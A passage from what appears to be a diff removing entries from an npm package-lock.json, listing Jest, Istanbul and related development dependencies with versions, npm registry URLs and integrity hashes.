"sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", - "dev": true, - "requires": { - "kind-of": "^3.0.2" - }, - "dependencies": { - "kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "requires": { - "is-buffer": "^1.1.5" - } - } - } - }, - "is-arrayish": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", - "integrity": "sha1-d8mYQFJ6qOyxqLppe4BkWnqSap0=", - "dev": true - }, - "is-buffer": { - "version": "1.1.6", - "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-1.1.6.tgz", - "integrity": "sha512-NcdALwpXkTm5Zvvbk7owOUSvVvBKDgKP5/ewfXEznmQFfs4ZRmanOeKBTjRVjka3QFoN6XJ+9F3USqfHqTaU5w==", - "dev": true - }, - "is-ci": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/is-ci/-/is-ci-2.0.0.tgz", - "integrity": "sha512-YfJT7rkpQB0updsdHLGWrvhBJfcfzNNawYDNIyQXJz0IViGf75O8EBPKSdvw2rF+LGCsX4FZ8tcr3b19LcZq4w==", - "dev": true, - "requires": { - "ci-info": "^2.0.0" - } - }, - "is-data-descriptor": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", - "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", - "dev": true, - "requires": { - "kind-of": "^3.0.2" - }, - "dependencies": { - "kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "requires": { - "is-buffer": "^1.1.5" - } - } - } - }, - "is-descriptor": { - "version": "0.1.6", - "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", - "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", - "dev": true, - "requires": { - "is-accessor-descriptor": "^0.1.6", - "is-data-descriptor": "^0.1.4", - "kind-of": "^5.0.0" - }, - "dependencies": { - "kind-of": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", - "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", - "dev": true - } - } - }, - "is-docker": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-2.0.0.tgz", - "integrity": "sha512-pJEdRugimx4fBMra5z2/5iRdZ63OhYV0vr0Dwm5+xtW4D1FvRkB8hamMIhnWfyJeDdyr/aa7BDyNbtG38VxgoQ==", - "dev": true, - "optional": true - }, - "is-extendable": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz", - "integrity": "sha1-YrEQ4omkcUGOPsNqYX1HLjAd/Ik=", - "dev": true - }, - "is-extglob": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", - "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", - "dev": true - }, - "is-fullwidth-code-point": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", - "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", - "dev": true - }, - "is-generator-fn": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/is-generator-fn/-/is-generator-fn-2.1.0.tgz", - "integrity": "sha512-cTIB4yPYL/Grw0EaSzASzg6bBy9gqCofvWN8okThAYIxKJZC+udlRAmGbM0XLeniEJSs8uEgHPGuHSe1XsOLSQ==", - "dev": true - }, - "is-glob": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz", - "integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==", - "dev": true, - "requires": { - "is-extglob": "^2.1.1" - } - }, - "is-number": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", - "dev": true - }, - "is-plain-object": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-3.0.0.tgz", - "integrity": "sha512-tZIpofR+P05k8Aocp7UI/2UTa9lTJSebCXpFFoR9aibpokDj/uXBsJ8luUu0tTVYKkMU6URDUuOfJZ7koewXvg==", - "dev": true, - "requires": { - "isobject": "^4.0.0" - } - }, - "is-potential-custom-element-name": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.0.tgz", - "integrity": "sha1-DFLlS8yjkbssSUsh6GJtczbG45c=", - "dev": true - }, - "is-stream": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz", - "integrity": "sha1-EtSj3U5o4Lec6428hBc66A2RykQ=", - "dev": true - }, - "is-typedarray": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", - "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=", - "dev": true - }, - "is-windows": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/is-windows/-/is-windows-1.0.2.tgz", - "integrity": "sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==", - "dev": true - }, - "is-wsl": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-2.2.0.tgz", - "integrity": "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==", - "dev": true, - "optional": true, - "requires": { - "is-docker": "^2.0.0" - } - }, - "isarray": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", - "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", - "dev": true - }, - "isexe": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", - "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=", - "dev": true - }, - "isobject": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-4.0.0.tgz", - "integrity": "sha512-S/2fF5wH8SJA/kmwr6HYhK/RI/OkhD84k8ntalo0iJjZikgq1XFvR5M8NPT1x5F7fBwCG3qHfnzeP/Vh/ZxCUA==", - "dev": true - }, - "isstream": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz", - "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=", - "dev": true - }, - "istanbul-lib-coverage": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.0.0.tgz", - "integrity": "sha512-UiUIqxMgRDET6eR+o5HbfRYP1l0hqkWOs7vNxC/mggutCMUIhWMm8gAHb8tHlyfD3/l6rlgNA5cKdDzEAf6hEg==", - "dev": true - }, - "istanbul-lib-instrument": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-4.0.3.tgz", - "integrity": "sha512-BXgQl9kf4WTCPCCpmFGoJkz/+uhvm7h7PFKUYxh7qarQd3ER33vHG//qaE8eN25l07YqZPpHXU9I09l/RD5aGQ==", - "dev": true, - "requires": { - "@babel/core": "^7.7.5", - "@istanbuljs/schema": "^0.1.2", - "istanbul-lib-coverage": "^3.0.0", - "semver": "^6.3.0" - }, - "dependencies": { - "semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", - "dev": true - } - } - }, - "istanbul-lib-report": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz", - "integrity": "sha512-wcdi+uAKzfiGT2abPpKZ0hSU1rGQjUQnLvtY5MpQ7QCTahD3VODhcu4wcfY1YtkGaDD5yuydOLINXsfbus9ROw==", - "dev": true, - "requires": { - "istanbul-lib-coverage": "^3.0.0", - "make-dir": "^3.0.0", - "supports-color": "^7.1.0" - } - }, - "istanbul-lib-source-maps": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/istanbul-lib-source-maps/-/istanbul-lib-source-maps-4.0.0.tgz", - "integrity": "sha512-c16LpFRkR8vQXyHZ5nLpY35JZtzj1PQY1iZmesUbf1FZHbIupcWfjgOXBY9YHkLEQ6puz1u4Dgj6qmU/DisrZg==", - "dev": true, - "requires": { - "debug": "^4.1.1", - "istanbul-lib-coverage": "^3.0.0", - "source-map": "^0.6.1" - } - }, - "istanbul-reports": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.0.2.tgz", - "integrity": "sha512-9tZvz7AiR3PEDNGiV9vIouQ/EAcqMXFmkcA1CDFTwOB98OZVDL0PH9glHotf5Ugp6GCOTypfzGWI/OqjWNCRUw==", - "dev": true, - "requires": { - "html-escaper": "^2.0.0", - "istanbul-lib-report": "^3.0.0" - } - }, - "jest": { - "version": "26.0.1", - "resolved": "https://registry.npmjs.org/jest/-/jest-26.0.1.tgz", - "integrity": "sha512-29Q54kn5Bm7ZGKIuH2JRmnKl85YRigp0o0asTc6Sb6l2ch1DCXIeZTLLFy9ultJvhkTqbswF5DEx4+RlkmCxWg==", - "dev": true, - "requires": { - "@jest/core": "^26.0.1", - "import-local": "^3.0.2", - "jest-cli": "^26.0.1" - }, - "dependencies": { - "jest-cli": { - "version": "26.0.1", - "resolved": "https://registry.npmjs.org/jest-cli/-/jest-cli-26.0.1.tgz", - "integrity": "sha512-pFLfSOBcbG9iOZWaMK4Een+tTxi/Wcm34geqZEqrst9cZDkTQ1LZ2CnBrTlHWuYAiTMFr0EQeK52ScyFU8wK+w==", - "dev": true, - "requires": { - "@jest/core": "^26.0.1", - "@jest/test-result": "^26.0.1", - "@jest/types": "^26.0.1", - "chalk": "^4.0.0", - "exit": "^0.1.2", - "graceful-fs": "^4.2.4", - "import-local": "^3.0.2", - "is-ci": "^2.0.0", - "jest-config": "^26.0.1", - "jest-util": "^26.0.1", - "jest-validate": "^26.0.1", - "prompts": "^2.0.1", - "yargs": "^15.3.1" - } - } - } - }, - "jest-changed-files": { - "version": "26.0.1", - "resolved": "https://registry.npmjs.org/jest-changed-files/-/jest-changed-files-26.0.1.tgz", - "integrity": "sha512-q8LP9Sint17HaE2LjxQXL+oYWW/WeeXMPE2+Op9X3mY8IEGFVc14xRxFjUuXUbcPAlDLhtWdIEt59GdQbn76Hw==", - "dev": true, - "requires": { - "@jest/types": "^26.0.1", - "execa": "^4.0.0", - "throat": "^5.0.0" - }, - "dependencies": { - "cross-spawn": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.2.tgz", - "integrity": "sha512-PD6G8QG3S4FK/XCGFbEQrDqO2AnMMsy0meR7lerlIOHAAbkuavGU/pOqprrlvfTNjvowivTeBsjebAL0NSoMxw==", - "dev": true, - "requires": { - "path-key": "^3.1.0", - "shebang-command": "^2.0.0", - "which": "^2.0.1" - } - }, - "execa": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/execa/-/execa-4.0.1.tgz", - "integrity": "sha512-SCjM/zlBdOK8Q5TIjOn6iEHZaPHFsMoTxXQ2nvUvtPnuohz3H2dIozSg+etNR98dGoYUp2ENSKLL/XaMmbxVgw==", - "dev": true, - "requires": { - "cross-spawn": "^7.0.0", - "get-stream": "^5.0.0", - "human-signals": "^1.1.1", - "is-stream": "^2.0.0", - "merge-stream": "^2.0.0", - "npm-run-path": "^4.0.0", - "onetime": "^5.1.0", - "signal-exit": "^3.0.2", - "strip-final-newline": "^2.0.0" - } - }, - "get-stream": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.1.0.tgz", - "integrity": "sha512-EXr1FOzrzTfGeL0gQdeFEvOMm2mzMOglyiOXSTpPC+iAjAKftbr3jpCMWynogwYnM+eSj9sHGc6wjIcDvYiygw==", - "dev": true, - "requires": { - "pump": "^3.0.0" - } - }, - "is-stream": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.0.tgz", - "integrity": "sha512-XCoy+WlUr7d1+Z8GgSuXmpuUFC9fOhRXglJMx+dwLKTkL44Cjd4W1Z5P+BQZpr+cR93aGP4S/s7Ftw6Nd/kiEw==", - "dev": true - }, - "npm-run-path": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz", - "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==", - "dev": true, - "requires": { - "path-key": "^3.0.0" - } - }, - "path-key": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", - "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", - "dev": true - }, - "shebang-command": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", - "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", - "dev": true, - "requires": { - "shebang-regex": "^3.0.0" - } - }, - "shebang-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", - "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", - "dev": true - }, - "which": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", - "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", - "dev": true, - "requires": { - "isexe": "^2.0.0" - } - } - } - }, - "jest-config": { - "version": "26.0.1", - "resolved": "https://registry.npmjs.org/jest-config/-/jest-config-26.0.1.tgz", - "integrity": "sha512-9mWKx2L1LFgOXlDsC4YSeavnblN6A4CPfXFiobq+YYLaBMymA/SczN7xYTSmLaEYHZOcB98UdoN4m5uNt6tztg==", - "dev": true, - "requires": { - "@babel/core": "^7.1.0", - "@jest/test-sequencer": "^26.0.1", - "@jest/types": "^26.0.1", - "babel-jest": "^26.0.1", - "chalk": "^4.0.0", - "deepmerge": "^4.2.2", - "glob": "^7.1.1", - "graceful-fs": "^4.2.4", - "jest-environment-jsdom": "^26.0.1", - "jest-environment-node": "^26.0.1", - "jest-get-type": "^26.0.0", - "jest-jasmine2": "^26.0.1", - "jest-regex-util": "^26.0.0", - "jest-resolve": "^26.0.1", - "jest-util": "^26.0.1", - "jest-validate": "^26.0.1", - "micromatch": "^4.0.2", - "pretty-format": "^26.0.1" - } - }, - "jest-diff": { - "version": "26.0.1", - "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-26.0.1.tgz", - "integrity": "sha512-odTcHyl5X+U+QsczJmOjWw5tPvww+y9Yim5xzqxVl/R1j4z71+fHW4g8qu1ugMmKdFdxw+AtQgs5mupPnzcIBQ==", - "dev": true, - "requires": { - "chalk": "^4.0.0", - "diff-sequences": "^26.0.0", - "jest-get-type": "^26.0.0", - "pretty-format": "^26.0.1" - } - }, - "jest-docblock": { - "version": "26.0.0", - "resolved": "https://registry.npmjs.org/jest-docblock/-/jest-docblock-26.0.0.tgz", - "integrity": "sha512-RDZ4Iz3QbtRWycd8bUEPxQsTlYazfYn/h5R65Fc6gOfwozFhoImx+affzky/FFBuqISPTqjXomoIGJVKBWoo0w==", - "dev": true, - "requires": { - "detect-newline": "^3.0.0" - } - }, - "jest-each": { - "version": "26.0.1", - "resolved": "https://registry.npmjs.org/jest-each/-/jest-each-26.0.1.tgz", - "integrity": "sha512-OTgJlwXCAR8NIWaXFL5DBbeS4QIYPuNASkzSwMCJO+ywo9BEa6TqkaSWsfR7VdbMLdgYJqSfQcIyjJCNwl5n4Q==", - "dev": true, - "requires": { - "@jest/types": "^26.0.1", - "chalk": "^4.0.0", - "jest-get-type": "^26.0.0", - "jest-util": "^26.0.1", - "pretty-format": "^26.0.1" - } - }, - "jest-environment-jsdom": { - "version": "26.0.1", - "resolved": "https://registry.npmjs.org/jest-environment-jsdom/-/jest-environment-jsdom-26.0.1.tgz", - "integrity": "sha512-u88NJa3aptz2Xix2pFhihRBAatwZHWwSiRLBDBQE1cdJvDjPvv7ZGA0NQBxWwDDn7D0g1uHqxM8aGgfA9Bx49g==", - "dev": true, - "requires": { - "@jest/environment": "^26.0.1", - "@jest/fake-timers": "^26.0.1", - "@jest/types": "^26.0.1", - "jest-mock": "^26.0.1", - "jest-util": "^26.0.1", - "jsdom": "^16.2.2" - } - }, - "jest-environment-node": { - "version": "26.0.1", - "resolved": "https://registry.npmjs.org/jest-environment-node/-/jest-environment-node-26.0.1.tgz", - "integrity": "sha512-4FRBWcSn5yVo0KtNav7+5NH5Z/tEgDLp7VRQVS5tCouWORxj+nI+1tOLutM07Zb2Qi7ja+HEDoOUkjBSWZg/IQ==", - "dev": true, - "requires": { - "@jest/environment": "^26.0.1", - "@jest/fake-timers": "^26.0.1", - "@jest/types": "^26.0.1", - "jest-mock": "^26.0.1", - "jest-util": "^26.0.1" - } - }, - "jest-get-type": { - "version": "26.0.0", - "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-26.0.0.tgz", - "integrity": "sha512-zRc1OAPnnws1EVfykXOj19zo2EMw5Hi6HLbFCSjpuJiXtOWAYIjNsHVSbpQ8bDX7L5BGYGI8m+HmKdjHYFF0kg==", - "dev": true - }, - "jest-haste-map": { - "version": "26.0.1", - "resolved": "https://registry.npmjs.org/jest-haste-map/-/jest-haste-map-26.0.1.tgz", - "integrity": "sha512-J9kBl/EdjmDsvyv7CiyKY5+DsTvVOScenprz/fGqfLg/pm1gdjbwwQ98nW0t+OIt+f+5nAVaElvn/6wP5KO7KA==", - "dev": true, - "requires": { - "@jest/types": "^26.0.1", - "@types/graceful-fs": "^4.1.2", - "anymatch": "^3.0.3", - "fb-watchman": "^2.0.0", - "fsevents": "^2.1.2", - "graceful-fs": "^4.2.4", - "jest-serializer": "^26.0.0", - "jest-util": "^26.0.1", - "jest-worker": "^26.0.0", - "micromatch": "^4.0.2", - "sane": "^4.0.3", - "walker": "^1.0.7", - "which": "^2.0.2" - }, - "dependencies": { - "which": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", - "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", - "dev": true, - "requires": { - "isexe": "^2.0.0" - } - } - } - }, - "jest-jasmine2": { - "version": "26.0.1", - "resolved": "https://registry.npmjs.org/jest-jasmine2/-/jest-jasmine2-26.0.1.tgz", - "integrity": "sha512-ILaRyiWxiXOJ+RWTKupzQWwnPaeXPIoLS5uW41h18varJzd9/7I0QJGqg69fhTT1ev9JpSSo9QtalriUN0oqOg==", - "dev": true, - "requires": { - "@babel/traverse": "^7.1.0", - "@jest/environment": "^26.0.1", - "@jest/source-map": "^26.0.0", - "@jest/test-result": "^26.0.1", - "@jest/types": "^26.0.1", - "chalk": "^4.0.0", - "co": "^4.6.0", - "expect": "^26.0.1", - "is-generator-fn": "^2.0.0", - "jest-each": "^26.0.1", - "jest-matcher-utils": "^26.0.1", - "jest-message-util": "^26.0.1", - "jest-runtime": "^26.0.1", - "jest-snapshot": "^26.0.1", - "jest-util": "^26.0.1", - "pretty-format": "^26.0.1", - "throat": "^5.0.0" - } - }, - "jest-leak-detector": { - "version": "26.0.1", - "resolved": "https://registry.npmjs.org/jest-leak-detector/-/jest-leak-detector-26.0.1.tgz", - "integrity": "sha512-93FR8tJhaYIWrWsbmVN1pQ9ZNlbgRpfvrnw5LmgLRX0ckOJ8ut/I35CL7awi2ecq6Ca4lL59bEK9hr7nqoHWPA==", - "dev": true, - "requires": { - "jest-get-type": "^26.0.0", - "pretty-format": "^26.0.1" - } - }, - "jest-matcher-utils": { - "version": "26.0.1", - "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-26.0.1.tgz", - "integrity": "sha512-PUMlsLth0Azen8Q2WFTwnSkGh2JZ8FYuwijC8NR47vXKpsrKmA1wWvgcj1CquuVfcYiDEdj985u5Wmg7COEARw==", - "dev": true, - "requires": { - "chalk": "^4.0.0", - "jest-diff": "^26.0.1", - "jest-get-type": "^26.0.0", - "pretty-format": "^26.0.1" - } - }, - "jest-message-util": { - "version": "26.0.1", - "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-26.0.1.tgz", - "integrity": "sha512-CbK8uQREZ8umUfo8+zgIfEt+W7HAHjQCoRaNs4WxKGhAYBGwEyvxuK81FXa7VeB9pwDEXeeKOB2qcsNVCAvB7Q==", - "dev": true, - "requires": { - "@babel/code-frame": "^7.0.0", - "@jest/types": "^26.0.1", - "@types/stack-utils": "^1.0.1", - "chalk": "^4.0.0", - "graceful-fs": "^4.2.4", - "micromatch": "^4.0.2", - "slash": "^3.0.0", - "stack-utils": "^2.0.2" - } - }, - "jest-mock": { - "version": "26.0.1", - "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-26.0.1.tgz", - "integrity": "sha512-MpYTBqycuPYSY6xKJognV7Ja46/TeRbAZept987Zp+tuJvMN0YBWyyhG9mXyYQaU3SBI0TUlSaO5L3p49agw7Q==", - "dev": true, - "requires": { - "@jest/types": "^26.0.1" - } - }, - "jest-pnp-resolver": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/jest-pnp-resolver/-/jest-pnp-resolver-1.2.1.tgz", - "integrity": "sha512-pgFw2tm54fzgYvc/OHrnysABEObZCUNFnhjoRjaVOCN8NYc032/gVjPaHD4Aq6ApkSieWtfKAFQtmDKAmhupnQ==", - "dev": true - }, - "jest-regex-util": { - "version": "26.0.0", - "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-26.0.0.tgz", - "integrity": "sha512-Gv3ZIs/nA48/Zvjrl34bf+oD76JHiGDUxNOVgUjh3j890sblXryjY4rss71fPtD/njchl6PSE2hIhvyWa1eT0A==", - "dev": true - }, - "jest-resolve": { - "version": "26.0.1", - "resolved": "https://registry.npmjs.org/jest-resolve/-/jest-resolve-26.0.1.tgz", - "integrity": "sha512-6jWxk0IKZkPIVTvq6s72RH735P8f9eCJW3IM5CX/SJFeKq1p2cZx0U49wf/SdMlhaB/anann5J2nCJj6HrbezQ==", - "dev": true, - "requires": { - "@jest/types": "^26.0.1", - "chalk": "^4.0.0", - "graceful-fs": "^4.2.4", - "jest-pnp-resolver": "^1.2.1", - "jest-util": "^26.0.1", - "read-pkg-up": "^7.0.1", - "resolve": "^1.17.0", - "slash": "^3.0.0" - } - }, - "jest-resolve-dependencies": { - "version": "26.0.1", - "resolved": "https://registry.npmjs.org/jest-resolve-dependencies/-/jest-resolve-dependencies-26.0.1.tgz", - "integrity": "sha512-9d5/RS/ft0vB/qy7jct/qAhzJsr6fRQJyGAFigK3XD4hf9kIbEH5gks4t4Z7kyMRhowU6HWm/o8ILqhaHdSqLw==", - "dev": true, - "requires": { - "@jest/types": "^26.0.1", - "jest-regex-util": "^26.0.0", - "jest-snapshot": "^26.0.1" - } - }, - "jest-runner": { - "version": "26.0.1", - "resolved": "https://registry.npmjs.org/jest-runner/-/jest-runner-26.0.1.tgz", - "integrity": "sha512-CApm0g81b49Znm4cZekYQK67zY7kkB4umOlI2Dx5CwKAzdgw75EN+ozBHRvxBzwo1ZLYZ07TFxkaPm+1t4d8jA==", - "dev": true, - "requires": { - "@jest/console": "^26.0.1", - "@jest/environment": "^26.0.1", - "@jest/test-result": "^26.0.1", - "@jest/types": "^26.0.1", - "chalk": "^4.0.0", - "exit": "^0.1.2", - "graceful-fs": "^4.2.4", - "jest-config": "^26.0.1", - "jest-docblock": "^26.0.0", - "jest-haste-map": "^26.0.1", - "jest-jasmine2": "^26.0.1", - "jest-leak-detector": "^26.0.1", - "jest-message-util": "^26.0.1", - "jest-resolve": "^26.0.1", - "jest-runtime": "^26.0.1", - "jest-util": "^26.0.1", - "jest-worker": "^26.0.0", - "source-map-support": "^0.5.6", - "throat": "^5.0.0" - } - }, - "jest-runtime": { - "version": "26.0.1", - "resolved": "https://registry.npmjs.org/jest-runtime/-/jest-runtime-26.0.1.tgz", - "integrity": "sha512-Ci2QhYFmANg5qaXWf78T2Pfo6GtmIBn2rRaLnklRyEucmPccmCKvS9JPljcmtVamsdMmkyNkVFb9pBTD6si9Lw==", - "dev": true, - "requires": { - "@jest/console": "^26.0.1", - "@jest/environment": "^26.0.1", - "@jest/fake-timers": "^26.0.1", - "@jest/globals": "^26.0.1", - "@jest/source-map": "^26.0.0", - "@jest/test-result": "^26.0.1", - "@jest/transform": "^26.0.1", - "@jest/types": "^26.0.1", - "@types/yargs": "^15.0.0", - "chalk": "^4.0.0", - "collect-v8-coverage": "^1.0.0", - "exit": "^0.1.2", - "glob": "^7.1.3", - "graceful-fs": "^4.2.4", - "jest-config": "^26.0.1", - "jest-haste-map": "^26.0.1", - "jest-message-util": "^26.0.1", - "jest-mock": "^26.0.1", - "jest-regex-util": "^26.0.0", - "jest-resolve": "^26.0.1", - "jest-snapshot": "^26.0.1", - "jest-util": "^26.0.1", - "jest-validate": "^26.0.1", - "slash": "^3.0.0", - "strip-bom": "^4.0.0", - "yargs": "^15.3.1" - } - }, - "jest-serializer": { - "version": "26.0.0", - "resolved": "https://registry.npmjs.org/jest-serializer/-/jest-serializer-26.0.0.tgz", - "integrity": "sha512-sQGXLdEGWFAE4wIJ2ZaIDb+ikETlUirEOBsLXdoBbeLhTHkZUJwgk3+M8eyFizhM6le43PDCCKPA1hzkSDo4cQ==", - "dev": true, - "requires": { - "graceful-fs": "^4.2.4" - } - }, - "jest-snapshot": { - "version": "26.0.1", - "resolved": "https://registry.npmjs.org/jest-snapshot/-/jest-snapshot-26.0.1.tgz", - "integrity": "sha512-jxd+cF7+LL+a80qh6TAnTLUZHyQoWwEHSUFJjkw35u3Gx+BZUNuXhYvDqHXr62UQPnWo2P6fvQlLjsU93UKyxA==", - "dev": true, - "requires": { - "@babel/types": "^7.0.0", - "@jest/types": "^26.0.1", - "@types/prettier": "^2.0.0", - "chalk": "^4.0.0", - "expect": "^26.0.1", - "graceful-fs": "^4.2.4", - "jest-diff": "^26.0.1", - "jest-get-type": "^26.0.0", - "jest-matcher-utils": "^26.0.1", - "jest-message-util": "^26.0.1", - "jest-resolve": "^26.0.1", - "make-dir": "^3.0.0", - "natural-compare": "^1.4.0", - "pretty-format": "^26.0.1", - "semver": "^7.3.2" - }, - "dependencies": { - "semver": { - "version": "7.3.2", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.2.tgz", - "integrity": "sha512-OrOb32TeeambH6UrhtShmF7CRDqhL6/5XpPNp2DuRH6+9QLw/orhp72j87v8Qa1ScDkvrrBNpZcDejAirJmfXQ==", - "dev": true - } - } - }, - "jest-util": { - "version": "26.0.1", - "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-26.0.1.tgz", - "integrity": "sha512-byQ3n7ad1BO/WyFkYvlWQHTsomB6GIewBh8tlGtusiylAlaxQ1UpS0XYH0ngOyhZuHVLN79Qvl6/pMiDMSSG1g==", - "dev": true, - "requires": { - "@jest/types": "^26.0.1", - "chalk": "^4.0.0", - "graceful-fs": "^4.2.4", - "is-ci": "^2.0.0", - "make-dir": "^3.0.0" - } - }, - "jest-validate": { - "version": "26.0.1", - "resolved": "https://registry.npmjs.org/jest-validate/-/jest-validate-26.0.1.tgz", - "integrity": "sha512-u0xRc+rbmov/VqXnX3DlkxD74rHI/CfS5xaV2VpeaVySjbb1JioNVOyly5b56q2l9ZKe7bVG5qWmjfctkQb0bA==", - "dev": true, - "requires": { - "@jest/types": "^26.0.1", - "camelcase": "^6.0.0", - "chalk": "^4.0.0", - "jest-get-type": "^26.0.0", - "leven": "^3.1.0", - "pretty-format": "^26.0.1" - }, - "dependencies": { - "camelcase": { - "version": "6.0.0", - "resolved": 